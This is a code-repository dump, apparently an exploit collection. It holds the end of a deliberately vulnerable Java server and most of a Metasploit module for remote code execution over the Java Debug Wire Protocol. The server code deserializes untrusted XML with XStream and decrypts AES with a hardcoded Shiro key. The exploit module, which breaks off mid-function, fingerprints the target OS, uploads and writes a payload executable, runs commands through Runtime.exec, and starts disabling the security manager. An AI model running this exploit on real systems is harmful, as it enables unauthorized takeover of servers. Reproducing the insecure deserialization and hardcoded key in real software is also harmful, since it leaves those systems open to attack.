classDomDriver.getDeclaredConstructor(); 336 | Constructor ctrXStream = classXStream.getDeclaredConstructor(classHierarchicalStreamDriver); 337 | 338 | Object domDriverInstance = ctrDomDriver.newInstance(); 339 | //Object jsonDriverInstance = ctrJsonDriver.newInstance(); 340 | Object xstreamInstance = ctrXStream.newInstance(domDriverInstance); 341 | 342 | //Desativado json... 343 | //if (xml.startsWith("<")) 344 | //xstreamInstance = ctrXStream.newInstance(domDriverInstance); 345 | //else 346 | // xstreamInstance = ctrXStream.newInstance(jsonDriverInstance); 347 | 348 | Method m = xstreamInstance.getClass().getMethod("fromXML", String.class); 349 | m.invoke(xstreamInstance, xml); 350 | 351 | 352 | } catch (ClassNotFoundException e) { 353 | e.printStackTrace(); 354 | return "\nXStream lib not found in classpath. You must add \"xstream-1.4.6.jar\" in -cp param. Ex: \n" + 355 | "java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableServer\n\n"; 356 | } catch (Exception e){ 357 | e.printStackTrace(); 358 | return "\nError deserializing XML...\n"; 359 | } 360 | 361 | return "\nXML deserialized!\n"; 362 | } 363 | 364 | public byte[] decryptAES(String object, String aesKey){ 365 | 366 | byte[] iv = new byte[16]; 367 | String algorithmName = "AES"; 368 | 369 | byte[] cipherText = null; 370 | byte[] plainTextWithIV = null; 371 | byte[] plainText = null; 372 | byte[] key = null; 373 | 374 | try { 375 | // first decode object from base64 376 | cipherText = new BASE64Decoder().decodeBuffer(object); 377 | // use the same harded code key from apache shino 378 | key = new BASE64Decoder().decodeBuffer(aesKey); 379 | 380 | } catch (Exception e) { e.printStackTrace(); return null; } 381 | 382 | try { 383 | 384 | IvParameterSpec ivSpec = new IvParameterSpec(iv); 385 | Key keySpec = new SecretKeySpec(key, algorithmName); 386 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 387 | cipher.init(Cipher.DECRYPT_MODE, keySpec,ivSpec); 388 | // decrypt ciphertext and put the IV in the header 389 | plainTextWithIV = cipher.doFinal(cipherText); 390 | // remove the iv from header of plaintext in order to deserialize it later 391 | plainText = new byte[plainTextWithIV.length - iv.length]; 392 | System.arraycopy(plainTextWithIV, iv.length, plainText, 0, plainText.length); 393 | return plainText; 394 | 395 | } catch (Exception e) { 396 | e.printStackTrace(); 397 | } 398 | return null; 399 | } 400 | 401 | } 402 | } -------------------------------------------------------------------------------- /CVE_EXP/Java_Debug_Wire_Potocol_remote_code/java_jdwp_debugger.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | class MetasploitModule < Msf::Exploit::Remote 9 | Rank = GoodRanking 10 | 11 | include Msf::Exploit::Remote::Tcp 12 | include Msf::Exploit::EXE 13 | include Msf::Exploit::FileDropper 14 | 15 | HANDSHAKE = "JDWP-Handshake" 16 | 17 | REQUEST_PACKET_TYPE = 0x00 18 | REPLY_PACKET_TYPE = 0x80 19 | 20 | # Command signatures 21 | VERSION_SIG = [1, 1] 22 | CLASSESBYSIGNATURE_SIG = [1, 2] 23 | ALLCLASSES_SIG = [1, 3] 24 | ALLTHREADS_SIG = [1, 4] 25 | IDSIZES_SIG = [1, 7] 26 | CREATESTRING_SIG = [1, 11] 27 | SUSPENDVM_SIG = [1, 8] 28 | RESUMEVM_SIG = [1, 9] 29 | SIGNATURE_SIG = [2, 1] 30 | FIELDS_SIG = [2, 4] 31 | METHODS_SIG = [2, 5] 32 | GETVALUES_SIG = [2, 6] 33 | CLASSOBJECT_SIG = [2, 11] 34 | SETSTATICVALUES_SIG = [3, 2] 35 | INVOKESTATICMETHOD_SIG = [3, 3] 36 | CREATENEWINSTANCE_SIG = [3, 4] 37 | ARRAYNEWINSTANCE_SIG = [4, 1] 38 | REFERENCETYPE_SIG = [9, 1] 39 | INVOKEMETHOD_SIG = [9, 6] 40 | STRINGVALUE_SIG = [10, 1] 41 | THREADNAME_SIG = [11, 1] 42 | THREADSUSPEND_SIG = [11, 2] 43 | THREADRESUME_SIG = [11, 3] 44 | THREADSTATUS_SIG = [11, 4] 45 | ARRAYSETVALUES_SIG = [13, 3] 46 | EVENTSET_SIG = [15, 1] 47 | EVENTCLEAR_SIG = [15, 2] 48 | EVENTCLEARALL_SIG = [15, 3] 49 | 50 | # Other codes 51 | MODKIND_COUNT = 1 52 | MODKIND_THREADONLY = 2 53 | MODKIND_CLASSMATCH = 5 54 | MODKIND_LOCATIONONLY = 7 55 | MODKIND_STEP = 10 56 | EVENT_BREAKPOINT = 2 57 | EVENT_STEP = 1 58 | SUSPEND_EVENTTHREAD = 1 59 | SUSPEND_ALL = 2 60 | NOT_IMPLEMENTED = 99 61 | VM_DEAD = 112 62 | INVOKE_SINGLE_THREADED = 2 63 | TAG_OBJECT = 76 64 | TAG_STRING = 115 65 | TYPE_CLASS = 1 66 | TAG_ARRAY = 91 67 | TAG_VOID = 86 68 | TAG_THREAD = 116 69 | STEP_INTO = 0 70 | STEP_MIN = 0 71 | THREAD_SLEEPING_STATUS = 2 72 | 73 | def initialize 74 | super( 75 | 'Name' => 'Java Debug Wire Protocol Remote Code Execution', 76 | 'Description' => %q{ 77 | This module abuses exposed Java Debug Wire Protocol services in order 78 | to execute arbitrary Java code remotely. It just abuses the protocol 79 | features, since no authentication is required if the service is enabled. 80 | }, 81 | 'Author' => [ 82 | 'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help 83 | 'Christophe Alladoum', # JDWP Analysis and Exploit 84 | 'Redsadic ' # Metasploit Module 85 | ], 86 | 'References' => 87 | [ 88 | ['OSVDB', '96066'], 89 | ['EDB', '27179'], 90 | ['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'], 91 | ['URL', 'http://seclists.org/nmap-dev/2010/q1/867'], 92 | ['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'], 93 | ['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'], 94 | ['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html'] 95 | ], 96 | 'Platform' => %w{ linux win }, 97 | 'Arch' => ARCH_X86, 98 | 'Payload' => 99 | { 100 | 'Space' => 2048, 101 | 'BadChars' => '', 102 | 'DisableNops' => true 103 | }, 104 | 'Targets' => 105 | [ 106 | [ 'Linux x86 (Native Payload)', 107 | { 108 | 'Platform' => 'linux' 109 | } 110 | ], 111 | [ 'Windows x86 (Native Payload)', 112 | { 113 | 'Platform' => 'win' 114 | } 115 | ] 116 | ], 117 | 'DefaultTarget' => 0, 118 | 'License' => MSF_LICENSE, 119 | 'DisclosureDate' => 'Mar 12 2010' 120 | ) 121 | 122 | register_options( 123 | [ 124 | Opt::RPORT(8000), 125 | OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]), 126 | OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']), 127 | ], self.class) 128 | 129 | register_advanced_options( 130 | [ 131 | OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]), 132 | ], self.class) 133 | end 134 | 135 | def check 136 | connect 137 | res = handshake 138 | disconnect 139 | 140 | if res.nil? 141 | return Exploit::CheckCode::Unknown 142 | elsif res == HANDSHAKE 143 | return Exploit::CheckCode::Appears 144 | end 145 | 146 | Exploit::CheckCode::Safe 147 | end 148 | 149 | 150 | def default_timeout 151 | datastore['RESPONSE_TIMEOUT'] 152 | end 153 | 154 | # Establishes handshake with the server 155 | def handshake 156 | sock.put(HANDSHAKE) 157 | return sock.get_once(-1, datastore['RESPONSE_TIMEOUT']) 158 | end 159 | 160 | # Forges packet for JDWP protocol 161 | def create_packet(cmdsig, data="") 162 | flags = 0x00 163 | cmdset, cmd = cmdsig 164 | pktlen = data.length + 11 165 | buf = [pktlen, @my_id, flags, cmdset, cmd] 166 | pkt = buf.pack("NNCCC") 167 | pkt << data 168 | @my_id += 2 169 | pkt 170 | end 171 | 172 | # Reads packet response for JDWP protocol 173 | def read_reply(timeout = default_timeout) 174 | length = sock.get_once(4, timeout) 175 | fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length 176 | pkt_len = length.unpack('N')[0] 177 | if pkt_len < 4 178 | fail_with(Failure::Unknown, "#{peer} - Received corrupted response") 179 | end 180 | pkt_len = pkt_len - 4 181 | 182 | response = sock.get_once(pkt_len, timeout) 183 | fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response 184 | while response.length < pkt_len 185 | partial = sock.get_once(pkt_len, timeout) 186 | fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial 187 | response << partial 188 | end 189 | 190 | fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length == pkt_len 191 | 192 | id, flags, err_code = response.unpack('NCn') 193 | response.slice!(0..6) 194 | if err_code != 0 && flags == REPLY_PACKET_TYPE 195 | fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}") 196 | end 197 | 198 | response 199 | end 200 | 201 | # Returns the characters contained in the string defined in target VM 202 | def solve_string(data) 203 | sock.put(create_packet(STRINGVALUE_SIG, data)) 204 | response = read_reply 205 | return "" unless response 206 | return read_string(response) 207 | end 208 | 209 | # Unpacks received string structure from the server response into a normal string 210 | def read_string(data) 211 | data_len = data.unpack('N')[0] 212 | data.slice!(0..3) 213 | return data.slice!(0,data_len) 214 | end 215 | 216 | # Creates a new string object in the target VM and returns its id 217 | def create_string(data) 218 | buf = build_string(data) 219 | sock.put(create_packet(CREATESTRING_SIG, buf)) 220 | buf = read_reply 221 | return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false) 222 | end 223 | 224 | # Packs normal string into string structure for target VM 225 | def build_string(data) 226 | ret = [data.length].pack('N') 227 | ret << data 228 | 229 | ret 230 | end 231 | 232 | # Pack Fixnum for JDWP protocol 233 | def format(fmt, value) 234 | if fmt == "L" || fmt == 8 235 | return [value].pack('Q>') 236 | elsif fmt == "I" || fmt == 4 237 | return [value].pack('N') 238 | end 239 | 240 | fail_with(Failure::Unknown, "Unknown format") 241 | end 242 | 243 | # Unpack Fixnum from JDWP protocol 244 | def unformat(fmt, value) 245 | if fmt == "L" || fmt == 8 246 | return value[0..7].unpack('Q>')[0] 247 | elsif fmt == "I" || fmt == 4 248 | return value[0..3].unpack('N')[0] 249 | end 250 | 251 | fail_with(Failure::Unknown, "Unknown format") 252 | end 253 | 254 | # Parses given data according to a set of formats 255 | def parse_entries(buf, formats, explicit=true) 256 | entries = [] 257 | 258 | if explicit 259 | nb_entries = buf.unpack('N')[0] 260 | buf.slice!(0..3) 261 | else 262 | nb_entries = 1 263 | end 264 | 265 | nb_entries.times do |var| 266 | 267 | if var != 0 && var % 1000 == 0 268 | vprint_status("Parsed #{var} classes of #{nb_entries}") 269 | end 270 | 271 | data = {} 272 | 273 | formats.each do |fmt,name| 274 | if fmt == "L" || fmt == 8 275 | data[name] = buf.unpack('Q>')[0] 276 | buf.slice!(0..7) 277 | elsif fmt == "I" || fmt == 4 278 | data[name] = buf.unpack('N')[0] 279 | buf.slice!(0..3) 280 | elsif fmt == "S" 281 | data_len = buf.unpack('N')[0] 282 | buf.slice!(0..3) 283 | data[name] = buf.slice!(0,data_len) 284 | elsif fmt == "C" 285 | data[name] = buf.unpack('C')[0] 286 | buf.slice!(0) 287 | elsif fmt == "Z" 288 | t = buf.unpack('C')[0] 289 | buf.slice!(0) 290 | if t == 115 291 | data[name] = solve_string(buf.slice!(0..7)) 292 | elsif t == 73 293 | data[name], buf = buf.unpack('NN') 294 | end 295 | else 296 | fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response") 297 | end 298 | 299 | end 300 | entries.append(data) 301 | end 302 | 303 | entries 304 | end 305 | 306 | # Gets the sizes of variably-sized data types in the target VM 307 | def get_sizes 308 | formats = [ 309 | ["I", "fieldid_size"], 310 | ["I", "methodid_size"], 311 | ["I", "objectid_size"], 312 | ["I", "referencetypeid_size"], 313 | ["I", "frameid_size"] 314 | ] 315 | sock.put(create_packet(IDSIZES_SIG)) 316 | response = read_reply 317 | entries = parse_entries(response, formats, false) 318 | entries.each { |e| @vars.merge!(e) } 319 | end 320 | 321 | # Gets the JDWP version implemented by the target VM 322 | def get_version 323 | formats = [ 324 | ["S", "descr"], 325 | ["I", "jdwp_major"], 326 | ["I", "jdwp_minor"], 327 | ["S", "vm_version"], 328 | ["S", "vm_name"] 329 | ] 330 | sock.put(create_packet(VERSION_SIG)) 331 | response = read_reply 332 | entries = parse_entries(response, formats, false) 333 | entries.each { |e| @vars.merge!(e) } 334 | end 335 | 336 | def version 337 | "#{@vars["vm_name"]} - #{@vars["vm_version"]}" 338 | end 339 | 340 | # Returns reference for all threads currently running on target VM 341 | def get_all_threads 342 | sock.put(create_packet(ALLTHREADS_SIG)) 343 | response = read_reply 344 | num_threads = response.unpack('N').first 345 | response.slice!(0..3) 346 | 347 | size = @vars["objectid_size"] 348 | num_threads.times do 349 | t_id = unformat(size, response[0..size-1]) 350 | @threads[t_id] = nil 351 | response.slice!(0..size-1) 352 | end 353 | end 354 | 355 | # Returns reference types for all classes currently loaded by the target VM 356 | def get_all_classes 357 | return unless @classes.empty? 358 | 359 | formats = [ 360 | ["C", "reftype_tag"], 361 | [@vars["referencetypeid_size"], "reftype_id"], 362 | ["S", "signature"], 363 | ["I", "status"] 364 | ] 365 | sock.put(create_packet(ALLCLASSES_SIG)) 366 | response = read_reply 367 | @classes.append(parse_entries(response, formats)) 368 | end 369 | 370 | # Checks if specified class is currently loaded by the target VM and returns it 371 | def get_class_by_name(name) 372 | @classes.each do |entry_array| 373 | entry_array.each do |entry| 374 | if entry["signature"].downcase == name.downcase 375 | return entry 376 | end 377 | end 378 | end 379 | 380 | nil 381 | end 382 | 383 | # Returns information for each method in a reference type (ie. object). Inherited methods are not included. 384 | # The list of methods will include constructors (identified with the name "") 385 | def get_methods(reftype_id) 386 | if @methods.has_key?(reftype_id) 387 | return @methods[reftype_id] 388 | end 389 | 390 | formats = [ 391 | [@vars["methodid_size"], "method_id"], 392 | ["S", "name"], 393 | ["S", "signature"], 394 | ["I", "mod_bits"] 395 | ] 396 | ref_id = format(@vars["referencetypeid_size"],reftype_id) 397 | sock.put(create_packet(METHODS_SIG, ref_id)) 398 | response = read_reply 399 | @methods[reftype_id] = parse_entries(response, formats) 400 | end 401 | 402 | # Returns information for each field in a reference type (ie. object) 403 | def get_fields(reftype_id) 404 | formats = [ 405 | [@vars["fieldid_size"], "field_id"], 406 | ["S", "name"], 407 | ["S", "signature"], 408 | ["I", "mod_bits"] 409 | ] 410 | ref_id = format(@vars["referencetypeid_size"],reftype_id) 411 | sock.put(create_packet(FIELDS_SIG, ref_id)) 412 | response = read_reply 413 | fields = parse_entries(response, formats) 414 | 415 | fields 416 | end 417 | 418 | # Returns the value of one static field of the reference type. The field must be member of the reference type 419 | # or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced; 420 | # for example, the values of private fields can be obtained. 421 | def get_value(reftype_id, field_id) 422 | data = format(@vars["referencetypeid_size"],reftype_id) 423 | data << [1].pack('N') 424 | data << format(@vars["fieldid_size"],field_id) 425 | 426 | sock.put(create_packet(GETVALUES_SIG, data)) 427 | response = read_reply 428 | num_values = response.unpack('N')[0] 429 | 430 | unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT) 431 | fail_with(Failure::Unknown, "Bad response when getting value for field") 432 | end 433 | 434 | response.slice!(0..4) 435 | 436 | len = @vars["objectid_size"] 437 | value = unformat(len, response) 438 | 439 | value 440 | end 441 | 442 | # Sets the value of one static field. Each field must be member of the class type or one of its superclasses, 443 | # superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of 444 | # private fields can be set. Final fields cannot be set.For primitive values, the value's type must match 445 | # the field's type exactly. For object values, there must exist a widening reference conversion from the 446 | # value's type to the field's type and the field's type must be loaded. 447 | def set_value(reftype_id, field_id, value) 448 | data = format(@vars["referencetypeid_size"],reftype_id) 449 | data << [1].pack('N') 450 | data << format(@vars["fieldid_size"],field_id) 451 | data << format(@vars["objectid_size"],value) 452 | 453 | sock.put(create_packet(SETSTATICVALUES_SIG, data)) 454 | read_reply 455 | end 456 | 457 | 458 | # Checks if specified method is currently loaded by the target VM and returns it 459 | def get_method_by_name(classname, name, signature = nil) 460 | @methods[classname].each do |entry| 461 | if signature.nil? 462 | return entry if entry["name"].downcase == name.downcase 463 | else 464 | if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase 465 | return entry 466 | end 467 | end 468 | end 469 | 470 | nil 471 | end 472 | 473 | # Checks if specified class and method are currently loaded by the target VM and returns them 474 | def get_class_and_method(looked_class, looked_method, signature = nil) 475 | target_class = get_class_by_name(looked_class) 476 | unless target_class 477 | fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") 478 | end 479 | 480 | get_methods(target_class["reftype_id"]) 481 | target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature) 482 | unless target_method 483 | fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") 484 | end 485 | 486 | return target_class, target_method 487 | end 488 | 489 | # Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept") 490 | def str_to_fq_class(s) 491 | i = s.rindex(".") 492 | unless i 493 | fail_with(Failure::BadConfig, 'Bad defined break class') 494 | end 495 | 496 | method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string 497 | 498 | classname = 'L' 499 | classname << s[0..i-1].gsub(/[.]/, '/') 500 | classname << ';' 501 | 502 | return classname, method 503 | end 504 | 505 | # Gets the status of a given thread 506 | def thread_status(thread_id) 507 | sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id))) 508 | buf = read_reply(datastore['BREAK_TIMEOUT']) 509 | unless buf 510 | fail_with(Failure::Unknown, "No network response") 511 | end 512 | status, suspend_status = buf.unpack('NN') 513 | 514 | status 515 | end 516 | 517 | # Resumes execution of the application or thread after the suspend command or an event has stopped it 518 | def resume_vm(thread_id = nil) 519 | if thread_id.nil? 520 | sock.put(create_packet(RESUMEVM_SIG)) 521 | else 522 | sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id))) 523 | end 524 | 525 | response = read_reply(datastore['BREAK_TIMEOUT']) 526 | unless response 527 | fail_with(Failure::Unknown, "No network response") 528 | end 529 | 530 | response 531 | end 532 | 533 | # Suspend execution of the application or thread 534 | def suspend_vm(thread_id = nil) 535 | if thread_id.nil? 536 | sock.put(create_packet(SUSPENDVM_SIG)) 537 | else 538 | sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id))) 539 | end 540 | 541 | response = read_reply 542 | unless response 543 | fail_with(Failure::Unknown, "No network response") 544 | end 545 | 546 | response 547 | end 548 | 549 | # Sets an event request. When the event described by this request occurs, an event is sent from the target VM 550 | def send_event(event_code, args) 551 | data = [event_code].pack('C') 552 | data << [SUSPEND_ALL].pack('C') 553 | data << [args.length].pack('N') 554 | 555 | args.each do |kind,option| 556 | data << [kind].pack('C') 557 | data << option 558 | end 559 | 560 | sock.put(create_packet(EVENTSET_SIG, data)) 561 | response = read_reply 562 | unless response 563 | fail_with(Failure::Unknown, "#{peer} - No network response") 564 | end 565 | return response.unpack('N')[0] 566 | end 567 | 568 | # Parses a received event and compares it with the expected 569 | def parse_event(buf, event_id, thread_id) 570 | len = @vars["objectid_size"] 571 | return false if buf.length < 10 + len - 1 572 | 573 | r_id = buf[6..9].unpack('N')[0] 574 | t_id = unformat(len,buf[10..10+len-1]) 575 | 576 | return (event_id == r_id) && (thread_id == t_id) 577 | end 578 | 579 | # Clear a defined event request 580 | def clear_event(event_code, r_id) 581 | data = [event_code].pack('C') 582 | data << [r_id].pack('N') 583 | sock.put(create_packet(EVENTCLEAR_SIG, data)) 584 | read_reply 585 | end 586 | 587 | # Invokes a static method. The method must be member of the class type or one of its superclasses, 588 | # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private 589 | # methods can be invoked. 590 | def invoke_static(class_id, thread_id, meth_id, args = []) 591 | data = format(@vars["referencetypeid_size"], class_id) 592 | data << format(@vars["objectid_size"], thread_id) 593 | data << format(@vars["methodid_size"], meth_id) 594 | data << [args.length].pack('N') 595 | 596 | args.each do |arg| 597 | data << arg 598 | data << [0].pack('N') 599 | end 600 | 601 | sock.put(create_packet(INVOKESTATICMETHOD_SIG, data)) 602 | buf = read_reply 603 | buf 604 | end 605 | 606 | # Invokes a instance method. The method must be member of the object's type or one of its superclasses, 607 | # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods 608 | # can be invoked. 609 | def invoke(obj_id, thread_id, class_id, meth_id, args = []) 610 | data = format(@vars["objectid_size"], obj_id) 611 | data << format(@vars["objectid_size"], thread_id) 612 | data << format(@vars["referencetypeid_size"], class_id) 613 | data << format(@vars["methodid_size"], meth_id) 614 | data << [args.length].pack('N') 615 | 616 | args.each do |arg| 617 | data << arg 618 | data << [0].pack('N') 619 | end 620 | 621 | sock.put(create_packet(INVOKEMETHOD_SIG, data)) 622 | buf = read_reply 623 | buf 624 | end 625 | 626 | # Creates a new object of specified class, invoking the specified constructor. The constructor 627 | # method ID must be a member of the class type. 628 | def create_instance(class_id, thread_id, meth_id, args = []) 629 | data = format(@vars["referencetypeid_size"], class_id) 630 | data << format(@vars["objectid_size"], thread_id) 631 | data << format(@vars["methodid_size"], meth_id) 632 | data << [args.length].pack('N') 633 | 634 | args.each do |arg| 635 | data << arg 636 | data << [0].pack('N') 637 | end 638 | 639 | sock.put(create_packet(CREATENEWINSTANCE_SIG, data)) 640 | buf = read_reply 641 | buf 642 | end 643 | 644 | # Creates a byte[] 645 | def create_array(len) 646 | target_class = get_class_by_name("[B") 647 | fail_with(Failure::Unknown, "target_class is nil") if target_class.nil? 648 | 649 | type_id = target_class["reftype_id"] 650 | fail_with(Failure::Unknown, "type_id is nil") if type_id.nil? 651 | 652 | data = format(@vars["referencetypeid_size"], type_id) 653 | data << [len].pack('N') 654 | 655 | sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data)) 656 | buf = read_reply 657 | buf 658 | end 659 | 660 | # Initializes the byte[] with values 661 | def set_values(obj_id, args = []) 662 | data = format(@vars["objectid_size"], obj_id) 663 | data << [0].pack('N') 664 | data << [args.length].pack('N') 665 | 666 | args.each do |arg| 667 | data << [arg].pack('C') 668 | end 669 | 670 | sock.put(create_packet(ARRAYSETVALUES_SIG, data)) 671 | read_reply 672 | end 673 | 674 | def temp_path 675 | return nil unless datastore['TMP_PATH'] 676 | unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\') 677 | fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH') 678 | end 679 | datastore['TMP_PATH'] 680 | end 681 | 682 | # Configures payload according to targeted architecture 683 | def setup_payload 684 | # 1. Setting up generic values. 685 | payload_exe = rand_text_alphanumeric(4 + rand(4)) 686 | pl_exe = generate_payload_exe 687 | 688 | # 2. Setting up arch specific... 689 | case target['Platform'] 690 | when 'linux' 691 | path = temp_path || '/tmp/' 692 | payload_exe = "#{path}#{payload_exe}" 693 | if @os.downcase =~ /win/ 694 | print_warning("#{@os} system detected but using Linux target...") 695 | end 696 | when 'win' 697 | path = temp_path || './' 698 | payload_exe = "#{path}#{payload_exe}.exe" 699 | unless @os.downcase =~ /win/ 700 | print_warning("#{@os} system detected but using Windows target...") 701 | end 702 | end 703 | 704 | return payload_exe, pl_exe 705 | end 706 | 707 | # Invokes java.lang.System.getProperty() for OS fingerprinting purposes 708 | def fingerprint_os(thread_id) 709 | size = @vars["objectid_size"] 710 | 711 | # 1. Creates a string on target VM with the property to be getted 712 | cmd_obj_ids = create_string("os.name") 713 | fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 714 | cmd_obj_id = cmd_obj_ids[0]["obj_id"] 715 | 716 | # 2. Gets property 717 | data = [TAG_OBJECT].pack('C') 718 | data << format(size, cmd_obj_id) 719 | data_array = [data] 720 | runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty") 721 | buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) 722 | fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C') 723 | 724 | str = unformat(size, buf[1..1+size-1]) 725 | @os = solve_string(format(@vars["objectid_size"],str)) 726 | end 727 | 728 | # Creates a file on the server given a execution thread 729 | def create_file(thread_id, filename) 730 | cmd_obj_ids = create_string(filename) 731 | fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0 732 | 733 | cmd_obj_id = cmd_obj_ids[0]["obj_id"] 734 | size = @vars["objectid_size"] 735 | data = [TAG_OBJECT].pack('C') 736 | data << format(size, cmd_obj_id) 737 | data_array = [data] 738 | runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "", "(Ljava/lang/String;)V") 739 | buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) 740 | fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') 741 | 742 | file = unformat(size, buf[1..1+size-1]) 743 | fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0) 744 | 745 | register_files_for_cleanup(filename) 746 | 747 | file 748 | end 749 | 750 | # Stores the payload on a new string created in target VM 751 | def upload_payload(thread_id, pl_exe) 752 | size = @vars["objectid_size"] 753 | 754 | buf = create_array(pl_exe.length) 755 | fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C') 756 | 757 | pl = unformat(size, buf[1..1+size-1]) 758 | fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0) 759 | 760 | set_values(pl, pl_exe.bytes) 761 | pl 762 | end 763 | 764 | # Dumps the payload on a opened server file given a execution thread 765 | def dump_payload(thread_id, file, pl) 766 | size = @vars["objectid_size"] 767 | data = [TAG_OBJECT].pack('C') 768 | data << format(size, pl) 769 | data_array = [data] 770 | runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V") 771 | buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) 772 | unless buf[0] == [TAG_VOID].pack('C') 773 | fail_with(Failure::Unknown, "Exception while writing to file") 774 | end 775 | end 776 | 777 | # Closes a file on the server given a execution thread 778 | def close_file(thread_id, file) 779 | runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close") 780 | buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"]) 781 | unless buf[0] == [TAG_VOID].pack('C') 782 | fail_with(Failure::Unknown, "Exception while closing file") 783 | end 784 | end 785 | 786 | # Executes a system command on target VM making use of java.lang.Runtime.exec() 787 | def execute_command(thread_id, cmd) 788 | size = @vars["objectid_size"] 789 | 790 | # 1. Creates a string on target VM with the command to be executed 791 | cmd_obj_ids = create_string(cmd) 792 | if cmd_obj_ids.length == 0 793 | fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") 794 | end 795 | 796 | cmd_obj_id = cmd_obj_ids[0]["obj_id"] 797 | 798 | # 2. Gets Runtime context 799 | runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime") 800 | buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) 801 | unless buf[0] == [TAG_OBJECT].pack('C') 802 | fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") 803 | end 804 | 805 | rt = unformat(size, buf[1..1+size-1]) 806 | if rt.nil? || (rt == 0) 807 | fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") 808 | end 809 | 810 | # 3. Finds and executes "exec" method supplying the string with the command 811 | exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec") 812 | if exec_meth.nil? 813 | fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") 814 | end 815 | 816 | data = [TAG_OBJECT].pack('C') 817 | data << format(size, cmd_obj_id) 818 | data_array = [data] 819 | buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array) 820 | unless buf[0] == [TAG_OBJECT].pack('C') 821 | fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") 822 | end 823 | end 824 | 825 | # Set event for stepping into a running thread 826 | def set_step_event 827 | # 1. Select a thread in sleeping status 828 | t_id = nil 829 | @threads.each_key do |thread| 830 | if thread_status(thread) == THREAD_SLEEPING_STATUS 831 | t_id = thread 832 | break 833 | end 834 | end 835 | fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil? 836 | 837 | # 2. Suspend the VM before setting the event 838 | suspend_vm 839 | 840 | vprint_status("Setting 'step into' event in thread: #{t_id}") 841 | step_info = format(@vars["objectid_size"], t_id) 842 | step_info << [STEP_MIN].pack('N') 843 | step_info << [STEP_INTO].pack('N') 844 | data = [[MODKIND_STEP, step_info]] 845 | 846 | r_id = send_event(EVENT_STEP, data) 847 | unless r_id 848 | fail_with(Failure::Unknown, "Could not set the event") 849 | end 850 | 851 | return r_id, t_id 852 | end 853 | 854 | # Disables security manager if it's set on target JVM 855 | def disable_sec_manager 856 | sys_class = get_class_by_name("Ljava/lang/System;") 857 | 858 | fields = get_fields(sys_class["reftype_id"]) 859 | 860 | sec_field = nil 861 | 862 | fields.each do |field| 863 | sec_field = field["field_id"] if field["name"].downcase == "security" 864 | end 865 | 866 | fail_with(Failure::Unknown, "Security 